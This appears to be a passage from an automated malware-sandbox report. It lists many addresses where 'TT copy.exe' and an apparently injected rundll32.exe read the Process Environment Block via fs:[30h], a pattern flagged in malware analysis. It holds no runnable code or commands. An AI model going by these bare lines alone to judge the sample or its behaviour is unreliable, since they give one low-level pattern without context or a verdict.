Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6DC9 mov eax, dword ptr fs:[00000030h]	3_2_010E6DC9
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6DC9 mov eax, dword ptr fs:[00000030h]	3_2_010E6DC9
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01118DF1 mov eax, dword ptr fs:[00000030h]	3_2_01118DF1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107D5E0 mov eax, dword ptr fs:[00000030h]	3_2_0107D5E0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107D5E0 mov eax, dword ptr fs:[00000030h]	3_2_0107D5E0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112FDE2 mov eax, dword ptr fs:[00000030h]	3_2_0112FDE2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112FDE2 mov eax, dword ptr fs:[00000030h]	3_2_0112FDE2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112FDE2 mov eax, dword ptr fs:[00000030h]	3_2_0112FDE2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112FDE2 mov eax, dword ptr fs:[00000030h]	3_2_0112FDE2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6C0A mov eax, dword ptr fs:[00000030h]	3_2_010E6C0A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6C0A mov eax, dword ptr fs:[00000030h]	3_2_010E6C0A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6C0A mov eax, dword ptr fs:[00000030h]	3_2_010E6C0A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6C0A mov eax, dword ptr fs:[00000030h]	3_2_010E6C0A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121C06 mov eax, dword ptr fs:[00000030h]	3_2_01121C06
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113740D mov eax, dword ptr fs:[00000030h]	3_2_0113740D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113740D mov eax, dword ptr fs:[00000030h]	3_2_0113740D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113740D mov eax, dword ptr fs:[00000030h]	3_2_0113740D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109BC2C mov eax, dword ptr fs:[00000030h]	3_2_0109BC2C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109A44B mov eax, dword ptr fs:[00000030h]	3_2_0109A44B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FC450 mov eax, dword ptr fs:[00000030h]	3_2_010FC450
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FC450 mov eax, dword ptr fs:[00000030h]	3_2_010FC450
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108746D mov eax, dword ptr fs:[00000030h]	3_2_0108746D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109AC7B mov eax, dword ptr fs:[00000030h]	3_2_0109AC7B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477 mov eax, dword ptr fs:[00000030h]	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496 mov eax, dword ptr fs:[00000030h]	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107849B mov eax, dword ptr fs:[00000030h]	3_2_0107849B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01138CD6 mov eax, dword ptr fs:[00000030h]	3_2_01138CD6
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011214FB mov eax, dword ptr fs:[00000030h]	3_2_011214FB
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6CF0 mov eax, dword ptr fs:[00000030h]	3_2_010E6CF0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6CF0 mov eax, dword ptr fs:[00000030h]	3_2_010E6CF0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6CF0 mov eax, dword ptr fs:[00000030h]	3_2_010E6CF0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109A70E mov eax, dword ptr fs:[00000030h]	3_2_0109A70E
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109A70E mov eax, dword ptr fs:[00000030h]	3_2_0109A70E
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113070D mov eax, dword ptr fs:[00000030h]	3_2_0113070D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113070D mov eax, dword ptr fs:[00000030h]	3_2_0113070D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108F716 mov eax, dword ptr fs:[00000030h]	3_2_0108F716
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FFF10 mov eax, dword ptr fs:[00000030h]	3_2_010FFF10
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FFF10 mov eax, dword ptr fs:[00000030h]	3_2_010FFF10
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01064F2E mov eax, dword ptr fs:[00000030h]	3_2_01064F2E
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01064F2E mov eax, dword ptr fs:[00000030h]	3_2_01064F2E
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B73D mov eax, dword ptr fs:[00000030h]	3_2_0108B73D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B73D mov eax, dword ptr fs:[00000030h]	3_2_0108B73D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109E730 mov eax, dword ptr fs:[00000030h]	3_2_0109E730
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107EF40 mov eax, dword ptr fs:[00000030h]	3_2_0107EF40
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107FF60 mov eax, dword ptr fs:[00000030h]	3_2_0107FF60
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01138F6A mov eax, dword ptr fs:[00000030h]	3_2_01138F6A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01078794 mov eax, dword ptr fs:[00000030h]	3_2_01078794
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E7794 mov eax, dword ptr fs:[00000030h]	3_2_010E7794
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E7794 mov eax, dword ptr fs:[00000030h]	3_2_010E7794
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E7794 mov eax, dword ptr fs:[00000030h]	3_2_010E7794
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A37F5 mov eax, dword ptr fs:[00000030h]	3_2_010A37F5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106C600 mov eax, dword ptr fs:[00000030h]	3_2_0106C600
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106C600 mov eax, dword ptr fs:[00000030h]	3_2_0106C600
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106C600 mov eax, dword ptr fs:[00000030h]	3_2_0106C600
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01098E00 mov eax, dword ptr fs:[00000030h]	3_2_01098E00
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109A61C mov eax, dword ptr fs:[00000030h]	3_2_0109A61C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109A61C mov eax, dword ptr fs:[00000030h]	3_2_0109A61C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121608 mov eax, dword ptr fs:[00000030h]	3_2_01121608
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106E620 mov eax, dword ptr fs:[00000030h]	3_2_0106E620
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0111FE3F mov eax, dword ptr fs:[00000030h]	3_2_0111FE3F
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01077E41 mov eax, dword ptr fs:[00000030h]	3_2_01077E41
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01077E41 mov eax, dword ptr fs:[00000030h]	3_2_01077E41
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01077E41 mov eax, dword ptr fs:[00000030h]	3_2_01077E41
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01077E41 mov eax, dword ptr fs:[00000030h]	3_2_01077E41
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01077E41 mov eax, dword ptr fs:[00000030h]	3_2_01077E41
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01077E41 mov eax, dword ptr fs:[00000030h]	3_2_01077E41
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112AE44 mov eax, dword ptr fs:[00000030h]	3_2_0112AE44
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112AE44 mov eax, dword ptr fs:[00000030h]	3_2_0112AE44
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107766D mov eax, dword ptr fs:[00000030h]	3_2_0107766D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108AE73 mov eax, dword ptr fs:[00000030h]	3_2_0108AE73
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108AE73 mov eax, dword ptr fs:[00000030h]	3_2_0108AE73
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108AE73 mov eax, dword ptr fs:[00000030h]	3_2_0108AE73
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108AE73 mov eax, dword ptr fs:[00000030h]	3_2_0108AE73
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108AE73 mov eax, dword ptr fs:[00000030h]	3_2_0108AE73
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FFE87 mov eax, dword ptr fs:[00000030h]	3_2_010FFE87
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E46A7 mov eax, dword ptr fs:[00000030h]	3_2_010E46A7
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01130EA5 mov eax, dword ptr fs:[00000030h]	3_2_01130EA5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01130EA5 mov eax, dword ptr fs:[00000030h]	3_2_01130EA5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01130EA5 mov eax, dword ptr fs:[00000030h]	3_2_01130EA5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01138ED6 mov eax, dword ptr fs:[00000030h]	3_2_01138ED6
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010936CC mov eax, dword ptr fs:[00000030h]	3_2_010936CC
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A8EC7 mov eax, dword ptr fs:[00000030h]	3_2_010A8EC7
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0111FEC0 mov eax, dword ptr fs:[00000030h]	3_2_0111FEC0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010776E2 mov eax, dword ptr fs:[00000030h]	3_2_010776E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010916E0 mov ecx, dword ptr fs:[00000030h]	3_2_010916E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05278D34 mov eax, dword ptr fs:[00000030h]	15_2_05278D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0522A537 mov eax, dword ptr fs:[00000030h]	15_2_0522A537
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526E539 mov eax, dword ptr fs:[00000030h]	15_2_0526E539
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D4D3B mov eax, dword ptr fs:[00000030h]	15_2_051D4D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D4D3B mov eax, dword ptr fs:[00000030h]	15_2_051D4D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D4D3B mov eax, dword ptr fs:[00000030h]	15_2_051D4D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051AAD30 mov eax, dword ptr fs:[00000030h]	15_2_051AAD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B3D34 mov eax, dword ptr fs:[00000030h]	15_2_051B3D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051C7D50 mov eax, dword ptr fs:[00000030h]	15_2_051C7D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E3D43 mov eax, dword ptr fs:[00000030h]	15_2_051E3D43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05223540 mov eax, dword ptr fs:[00000030h]	15_2_05223540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05253D40 mov eax, dword ptr fs:[00000030h]	15_2_05253D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CC577 mov eax, dword ptr fs:[00000030h]	15_2_051CC577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CC577 mov eax, dword ptr fs:[00000030h]	15_2_051CC577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DFD9B mov eax, dword ptr fs:[00000030h]	15_2_051DFD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DFD9B mov eax, dword ptr fs:[00000030h]	15_2_051DFD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052705AC mov eax, dword ptr fs:[00000030h]	15_2_052705AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052705AC mov eax, dword ptr fs:[00000030h]	15_2_052705AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051A2D8A mov eax, dword ptr fs:[00000030h]	15_2_051A2D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051A2D8A mov eax, dword ptr fs:[00000030h]	15_2_051A2D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051A2D8A mov eax, dword ptr fs:[00000030h]	15_2_051A2D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051A2D8A mov eax, dword ptr fs:[00000030h]	15_2_051A2D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051A2D8A mov eax, dword ptr fs:[00000030h]	15_2_051A2D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D2581 mov eax, dword ptr fs:[00000030h]	15_2_051D2581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D2581 mov eax, dword ptr fs:[00000030h]	15_2_051D2581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D2581 mov eax, dword ptr fs:[00000030h]	15_2_051D2581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D2581 mov eax, dword ptr fs:[00000030h]	15_2_051D2581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D1DB5 mov eax, dword ptr fs:[00000030h]	15_2_051D1DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D1DB5 mov eax, dword ptr fs:[00000030h]	15_2_051D1DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D1DB5 mov eax, dword ptr fs:[00000030h]	15_2_051D1DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D35A1 mov eax, dword ptr fs:[00000030h]	15_2_051D35A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526FDE2 mov eax, dword ptr fs:[00000030h]	15_2_0526FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526FDE2 mov eax, dword ptr fs:[00000030h]	15_2_0526FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526FDE2 mov eax, dword ptr fs:[00000030h]	15_2_0526FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526FDE2 mov eax, dword ptr fs:[00000030h]	15_2_0526FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05258DF1 mov eax, dword ptr fs:[00000030h]	15_2_05258DF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226DC9 mov eax, dword ptr fs:[00000030h]	15_2_05226DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226DC9 mov eax, dword ptr fs:[00000030h]	15_2_05226DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226DC9 mov eax, dword ptr fs:[00000030h]	15_2_05226DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226DC9 mov ecx, dword ptr fs:[00000030h]	15_2_05226DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226DC9 mov eax, dword ptr fs:[00000030h]	15_2_05226DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226DC9 mov eax, dword ptr fs:[00000030h]	15_2_05226DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051BD5E0 mov eax, dword ptr fs:[00000030h]	15_2_051BD5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051BD5E0 mov eax, dword ptr fs:[00000030h]	15_2_051BD5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261C06 mov eax, dword ptr fs:[00000030h]	15_2_05261C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226C0A mov eax, dword ptr fs:[00000030h]	15_2_05226C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226C0A mov eax, dword ptr fs:[00000030h]	15_2_05226C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226C0A mov eax, dword ptr fs:[00000030h]	15_2_05226C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226C0A mov eax, dword ptr fs:[00000030h]	15_2_05226C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0527740D mov eax, dword ptr fs:[00000030h]	15_2_0527740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0527740D mov eax, dword ptr fs:[00000030h]	15_2_0527740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0527740D mov eax, dword ptr fs:[00000030h]	15_2_0527740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DBC2C mov eax, dword ptr fs:[00000030h]	15_2_051DBC2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DA44B mov eax, dword ptr fs:[00000030h]	15_2_051DA44B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
